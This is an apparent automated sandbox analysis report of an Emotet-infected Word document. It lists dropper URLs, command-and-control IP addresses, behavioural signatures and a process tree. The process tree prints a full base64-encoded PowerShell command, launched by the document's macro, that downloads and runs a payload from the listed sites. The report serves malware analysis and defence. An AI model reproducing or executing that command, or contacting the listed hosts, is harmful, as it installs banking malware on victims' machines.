Overview

overview

10

Static

static

8

emotet_e1_...oc.doc

windows7_x64

10

emotet_e1_...oc.doc

windows10_x64

10

Analysis

  • max time kernel
    142s
  • max time network
    150s
  • platform
    windows7_x64
  • resource
    win7
  • submitted
    19/08/2020, 10:26

Sharing

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Report Analysis Logs

General

  • Target
    emotet_e1_6c8be05bdcff391b1d6b127c90d0546f0d1b4e4bb5322170c37efb07a7ff97ab_2020-08-19__102450._doc.doc
  • Size 190KB
  • Sample200819-3lsktyafr6
  • SHA256 6c8be05bdcff391b1d6b127c90d0546f0d1b4e4bb5322170c37efb07a7ff97ab
  • MD5 SHA1 SHA512
Score
10/10
trojanbankeremotet

Malware Config

Extracted

Language

  • ps1

Source
URLs
  • exe.dropper

    http://witje.be/setup/D/
  • exe.dropper

    https://cafeponton.nl/bin/CiB/
  • exe.dropper

    http://artelillo.cl/US/0xy/
  • exe.dropper

    http://aeinvest.com.vn/cgi-bin/j/
  • exe.dropper

    http://certezacpa.com/ourfirstvalentinesday/vh/
  • exe.dropper

    http://job.masterfoodeh.com/images/Ndh/
  • exe.dropper

    http://xenosoftware.co.uk/wp-admin/5G/

Extracted

Family

  • emotet

C2

  • 82.163.245.38:80

  • 209.126.6.222:8080

  • 5.153.250.14:8080

  • 186.70.127.199:8090

  • 190.128.173.10:80

  • 190.195.129.227:8090

  • 91.219.169.180:80

  • 45.173.88.33:80

  • 185.33.0.233:80

  • 188.2.217.94:80

  • 207.144.103.227:80

  • 45.161.242.102:80

  • 219.92.13.25:80

  • 190.163.31.26:80

  • 68.183.170.114:8080

  • 191.99.160.58:80

  • 73.213.208.163:80

  • 94.176.234.118:443

  • 104.131.41.185:8080

  • 45.33.77.42:8080

rsa_pubkey.plain

Signatures

  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

    trojanbankeremotet
  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Emotet Payload 4 IoCs

    Detects Emotet payload in memory.

  • Blacklisted process makes network request 1 IoCs
  • Executes dropped EXE 2 IoCs
  • Drops file in System32 directory 2 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Modifies registry class 280 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 6 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e1_6c8be05bdcff391b1d6b127c90d0546f0d1b4e4bb5322170c37efb07a7ff97ab_2020-08-19__102450._doc.doc"
    1⤵
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    PID:1612
  • C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
    powersheLL -e JABQAGgAdwAyAHIAMgBsAD0AKAAnAEUANQA0ACcAKwAnAGsAMgA1AHkAJwApADsALgAoACcAbgBlACcAKwAnAHcALQAnACsAJwBpAHQAZQBtACcAKQAgACQARQBuAFYAOgBUAEUATQBQAFwAbwBGAGYAaQBDAGUAMgAwADEAOQAgAC0AaQB0AGUAbQB0AHkAcABlACAARABpAFIARQBDAFQAbwByAHkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAFMAZQBjAHUAUgBJAFQAWQBQAFIAYABvAGAAVABPAEMAYABPAEwAIgAgAD0AIAAoACcAdABsAHMAMQAyACwAJwArACcAIAAnACsAJwB0AGwAcwAxACcAKwAnADEALAAgACcAKwAnAHQAJwArACcAbABzACcAKQA7ACQAQQBmADUAOABnAG4AYwAgAD0AIAAoACcASgA2ACcAKwAnAGwAMQBxACcAKwAnAGEAbAAnACkAOwAkAEwAdgB0ADAAcwBsAGIAPQAoACcAUABmAGgAJwArACcAcwBhAHIAawAnACkAOwAkAFoAdAA0ADkANAA1AHgAPQAkAGUAbgB2ADoAdABlAG0AcAArACgAKAAnAHsAMAB9AE8AZgAnACsAJwBmACcAKwAnAGkAYwAnACsAJwBlADIAMAAxADkAJwArACcAewAwAH0AJwApACAALQBmAFsAQwBoAGEAcgBdADkAMgApACsAJABBAGYANQA4AGcAbgBjACsAKAAnAC4AZQB4ACcAKwAnAGUAJwApADsAJABGAGwAMgBfAGIAbgBjAD0AKAAnAE0AJwArACcAbwB1AGwAJwArACcAYwBtAGgAJwApADsAJABCAHUAdwBrAGoAaQAwAD0AJgAoACcAbgBlAHcAJwArACcALQBvAGIAagAnACsAJwBlAGMAdAAnACkAIABuAEUAdAAuAHcAZQBiAGMAbABJAGUATgB0ADsAJABQAGMAbwB0AGQAbABpAD0AKAAnAGgAJwArACcAdAB0AHAAOgAnACsAJwAvACcAKwAnAC8AdwAnACsAJwBpAHQAagAnACsAJwBlACcAKwAnAC4AYgBlACcAKwAnAC8AJwArACcAcwAnACsAJwBlAHQAdQBwAC8ARAAnACsAJwAvACoAaAB0AHQAcABzADoAJwArACcALwAnACsAJwAvAGMAYQBmACcAKwAnAGUAcABvAG4AdAAnACsAJwBvAG4ALgAnACsAJwBuAGwALwBiACcAKwAnAGkAJwArACcAbgAvAEMAaQAnACsAJwBCAC8AKgAnACsAJwBoAHQAdABwADoAJwArACcALwAnACsAJwAvAGEAcgB0AGUAbABpAGwAbABvAC4AYwBsAC8AVQAnACsAJwBTAC8AMAB4AHkALwAqAGgAJwArACcAdAB0AHAAOgAvAC8AJwArACcAYQAnACsAJwBlAGkAbgB2ACcAKwAnAGUAcwB0AC4AJwArACcAYwBvAG0AJwArACcALgB2ACcAKwAnAG4ALwBjAGcAJwArACcAaQAnACsAJwAtAGIAaQAnACsAJwBuAC8AagAvACoAJwArACcAaAB0ACcAKwAnAHQAcAA6AC8ALwBjAGUAcgAnACsAJwB0AGUAegAnACsAJwBhAGMAcABhAC4AJwArACcAYwBvAG0ALwBvAHUAJwArACcAcgAnACsAJwBmAGkAcgBzAHQAJwArACcAdgAnACsAJwBhACcAKwAnAGwAZQBuACcAKwAnAHQAaQAnACsAJwBuAGUAcwBkAGEAeQAvACcAKwAnAHYAJwArACcAaAAnACsAJwAvACoAaAB0AHQAcAA6AC8ALwBqAG8AYgAuAG0AYQBzAHQAZQByAGYAJwArACcAbwBvAGQAZQBoACcAKwAnAC4AYwBvACcAKwAnAG0ALwBpAG0AYQBnAGUAcwAnACsAJwAvAE4AJwArACcAZABoAC8AKgBoACcAKwAnAHQAJwArACcAdABwADoALwAvAHgAZQBuAG8AcwBvAGYAdAB3AGEAcgAnACsAJwBlACcAKwAnAC4AJwArACcAYwAnACsAJwBvAC4AJwArACcAdQAnACsAJwBrAC8AdwBwAC0AYQBkAG0AaQBuACcAKwAnAC8ANQBHAC8AJwApAC4AIgBTAHAAbABgAEkAdAAiACgAWwBjAGgAYQByAF0ANAAyACkAOwAkAFgANQBsADcAaQBtAF8APQAoACcAVQAnACsAJwBmAHoAJwArACcAdwB3AGYAcAAnACkAOwBmAG8AcgBlAGEAYwBoACgAJABBAHkANQA0AHoAeABoACAAaQBuACAAJABQAGMAbwB0AGQAbABpACkAewB0AHIAeQB7ACQAQgB1AHcAawBqAGkAMAAuACIARABvAFcAbgBMAGAAbwBgAEEAYABkAGYAaQBMAEUAIgAoACQAQQB5ADUANAB6AHgAaAAsACAAJABaAHQANAA5ADQANQB4ACkAOwAkAE8AYwBzAGYAagBsADIAPQAoACcATgBsACcAKwAnAHIAZAAyADEAdgAnACkAOwBJAGYAIAAoACgALgAoACcARwBlAHQALQBJACcAKwAnAHQAZQBtACcAKQAgACQAWgB0ADQAOQA0ADUAeAApAC4AIgBsAEUAYABOAEcAYABUAEgAIgAgAC0AZwBlACAAMgA1ADEAMQA2ACkAIAB7AC4AKAAnAEkAbgB2AG8AawBlAC0ASQAnACsAJwB0ACcAKwAnAGUAbQAnACkAKAAkAFoAdAA0ADkANAA1AHgAKQA7ACQAUQB3AGcAZwBwAGEANwA9ACgAJwBXAGgANwB6ACcAKwAnAHIAdgAnACsAJwBtACcAKQA7AGIAcgBlAGEAawA7ACQAUgAzAF8ANgBjAGwAdgA9ACgAJwBHAG4AOAA3ACcAKwAnADgAZQAnACsAJwBjACcAKQB9AH0AYwBhAHQAYwBoAHsAfQB9ACQASwB5AF8AdABpADEAZgA9ACgAJwBRACcAKwAnADYAJwArACcAbwBlADYAbwBjACcAKQA=
    1⤵
    • Process spawned unexpected child process
    • Blacklisted process makes network request
    • Drops file in System32 directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:1864
    • C:\Users\Admin\AppData\Local\Temp\Office2019\J6l1qal.exe
      "C:\Users\Admin\AppData\Local\Temp\Office2019\J6l1qal.exe"
      2⤵
      • Executes dropped EXE
      • Drops file in System32 directory
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:1836
      • C:\Windows\SysWOW64\RpcNs4\iologmsg.exe
        "C:\Windows\SysWOW64\RpcNs4\iologmsg.exe"
        3⤵
        • Executes dropped EXE
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of SetWindowsHookEx
        PID:1628

Network

        MITRE ATT&CK Matrix

        Replay Monitor

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        Downloads

        memory/1128-27-0x000007FEF2940000-0x000007FEF2BBA000-memory.dmp
        Download

        memory/1612-3-0x0000000007A70000-0x0000000007C70000-memory.dmp
        Download

        memory/1612-4-0x0000000007A70000-0x0000000007C70000-memory.dmp
        Download

        memory/1612-6-0x000000000BAE0000-0x000000000BAE4000-memory.dmp
        Download

        memory/1612-7-0x000000000CB60000-0x000000000CB64000-memory.dmp
        Download

        memory/1612-17-0x0000000002180000-0x0000000002181000-memory.dmp
        Download

        memory/1612-2-0x0000000009610000-0x0000000009614000-memory.dmp
        Download

        memory/1628-26-0x0000000000350000-0x000000000035C000-memory.dmp
        Download

        memory/1836-22-0x00000000001D0000-0x00000000001DC000-memory.dmp
        Download

        memory/1864-19-0x000000001C250000-0x000000001C251000-memory.dmp
        Download

        memory/1864-18-0x000000001B620000-0x000000001B621000-memory.dmp
        Download

        memory/1864-16-0x00000000023E0000-0x00000000023E1000-memory.dmp
        Download

        memory/1864-15-0x0000000002550000-0x0000000002551000-memory.dmp
        Download

        memory/1864-14-0x000000001AAD0000-0x000000001AAD1000-memory.dmp
        Download

        memory/1864-13-0x0000000002490000-0x0000000002491000-memory.dmp
        Download

        memory/1864-12-0x000007FEF1A40000-0x000007FEF242C000-memory.dmp
        Download